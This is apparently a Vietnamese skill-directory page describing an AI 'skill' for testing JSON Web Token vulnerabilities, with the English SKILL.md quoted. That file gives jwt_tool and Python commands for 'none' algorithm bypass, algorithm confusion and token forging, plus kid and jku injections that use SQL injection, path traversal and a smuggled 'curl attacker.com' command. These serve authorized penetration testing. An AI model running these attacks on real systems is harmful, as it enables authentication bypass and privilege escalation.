Chuyển đến nội dung
Skillpedia
Kiểm thử35k · #8386

testing-for-json-web-token-vulnerabilities

Skill này làm gì

Công cụ này giúp tìm lỗ hổng bảo mật trong các token xác thực gọi là JWT. Nó kiểm tra xem có thể đánh lừa hệ thống chấp nhận token không hợp lệ hoặc token có đặc quyền cao hơn hay không.

Khi nào nên dùng

  • ✓Khi bạn kiểm thử bảo mật các website và ứng dụng dùng JWT để đăng nhập.
  • ✓Khi bạn đánh giá hệ thống đăng nhập một lần (SSO) hoặc luồng xác thực như OAuth2.
  • ✓Khi bạn kiểm thử xâm nhập để tìm lỗ hổng trong cách quản lý token.

Liên kết skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-json-web-token-vulnerabilities/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-json-web-token-vulnerabilities/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Kiểm tra lỗ hổng trong JWT token đã cung cấp.”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Công cụ thử các loại tấn công khác nhau, như dùng thuật toán không an toàn hoặc chèn thông tin độc hại vào phần đầu của token. Nó dùng các công cụ khác như `jwt_tool` và `Burp Suite` để tự động hóa các kiểm tra này.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

Testing for JSON Web Token Vulnerabilities

When to Use

  • When testing applications using JWT for authentication and session management
  • During API security assessments where JWTs are used for authorization
  • When evaluating OAuth 2.0 or OpenID Connect implementations using JWT
  • During penetration testing of single sign-on (SSO) systems
  • When auditing JWT library configurations for known vulnerabilities

Prerequisites

  • jwt_tool (Python JWT exploitation toolkit)
  • Burp Suite with JWT Editor extension
  • jwt.io for decoding and inspecting JWT structure
  • Understanding of JWT structure (header.payload.signature) and algorithms (HS256, RS256)
  • hashcat or john for brute-forcing weak JWT secrets
  • Python PyJWT library for custom JWT forging scripts
  • Access to application using JWT-based authentication

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Decode and Analyze JWT Structure

# Install jwt_tool
pip install pyjwt
git clone https://github.com/ticarpi/jwt_tool.git

# Decode JWT without verification
python3 jwt_tool.py <JWT_TOKEN>

# Decode manually with base64
echo "<header_base64>" | base64 -d
echo "<payload_base64>" | base64 -d

# Examine JWT in jwt.io
# Check: algorithm (alg), key ID (kid), issuer (iss), audience (aud)
# Check: expiration (exp), not-before (nbf), claims (role, admin, etc.)

# Example JWT header inspection
# {"alg":"RS256","typ":"JWT","kid":"key-1"}
# Look for: alg, kid, jku, jwk, x5u, x5c headers

Step 2 — Test "None" Algorithm Bypass

# Change algorithm to "none" and remove signature
python3 jwt_tool.py <JWT_TOKEN> -X a

# Manual none algorithm attack:
# Original header: {"alg":"HS256","typ":"JWT"}
# Modified header: {"alg":"none","typ":"JWT"}
# Encode new header, keep payload, remove signature (empty string after last dot)

# Variations to try:
# "alg": "none"
# "alg": "None"
# "alg": "NONE"
# "alg": "nOnE"

# Send forged token
curl -H "Authorization: Bearer <FORGED_TOKEN>" http://target.com/api/admin

# jwt_tool automated none attack
python3 jwt_tool.py <JWT_TOKEN> -X a -I -pc role -pv admin

Step 3 — Test Algorithm Confusion (RS256 to HS256)

# If server uses RS256, attempt to switch to HS256 using public key as HMAC secret

# Step 1: Obtain the public key
# From JWKS endpoint
curl http://target.com/.well-known/jwks.json

# From SSL certificate
openssl s_client -connect target.com:443 </dev/null 2>/dev/null | \
  openssl x509 -pubkey -noout > public_key.pem

# Step 2: Forge token using public key as HMAC secret
python3 jwt_tool.py <JWT_TOKEN> -X k -pk public_key.pem

# Manual algorithm confusion:
# Change header from {"alg":"RS256"} to {"alg":"HS256"}
# Sign with public key using HMAC-SHA256
python3 -c "
import jwt
with open('public_key.pem', 'r') as f:
    public_key = f.read()
payload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000}
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
"

Step 4 — Test Key ID (kid) Parameter Injection

# SQL Injection via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "' UNION SELECT 'secret-key' FROM dual--" \
  -S hs256 -p "secret-key"

# Path Traversal via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "../../dev/null" \
  -S hs256 -p ""

# Kid pointing to empty file (sign with empty string)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "/dev/null" -S hs256 -p ""

# SSRF via kid (if kid fetches remote key)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "http://attacker.com/key"

# Command injection via kid (rare but possible)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "key1|curl attacker.com"

Step 5 — Test JKU/X5U Header Injection

# JKU (JSON Web Key Set URL) injection
# Point jku to attacker-controlled JWKS
# Step 1: Generate key pair
python3 jwt_tool.py <JWT_TOKEN> -X s

# Step 2: Host JWKS on attacker server
# jwt_tool generates jwks.json - host it at http://attacker.com/.well-known/jwks.json

# Step 3: Modify JWT header to point to attacker JWKS
python3 jwt_tool.py <JWT_TOKEN> -X s -ju "http://attacker.com/.well-known/jwks.json"

# X5U (X.509 certificate URL) injection
# Similar to JKU but using X.509 certificate chain
python3 jwt_tool.py <JWT_TOKEN> -I -hc x5u -hv "http://attacker.com/cert.pem"


…
Câu hỏi thường gặp

JWT là gì?

JWT là viết tắt của JSON Web Token. Đây là chuẩn để tạo token truy cập, truyền thông tin an toàn giữa các bên. Bạn có thể hình dung nó như một thẻ định danh số, chứng minh bạn là ai.

Công cụ thực hiện những loại tấn công chính nào?

Công cụ kiểm tra lỗi bỏ qua thuật toán 'none', tấn công nhầm lẫn thuật toán (dùng khóa công khai như khóa bí mật), chèn mã vào các tham số như 'kid' và 'jku', và khai thác khóa bí mật yếu.

Tôi có cần biết lập trình để dùng không?

Hiểu khái niệm sẽ có ích, nhưng công cụ được thiết kế cho người kiểm thử bảo mật. Việc dùng chủ yếu là chạy lệnh và phân tích kết quả, không phải viết mã phức tạp.

Chi tiết

Mô tả gốc của tác giả

Tests JWT implementations for algorithm confusion, "none" algorithm bypass, kid/jku parameter injection, and weak secret exploitation using jwt_tool and Burp Suite's JWT Editor extension, aiming to achieve authentication bypass and privilege escalation. Use when assessing JWT-based auth/session management, OAuth2/OIDC token handling, or SSO systems during a security engagement.

repo: mukul975/Anthropic-Cybersecurity-Skills

Độ phổ biến

Sao GitHub
35k
Vị trí xếp hạng
#8386
Giấy phép
Apache-2.0
Cập nhật
31/8/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự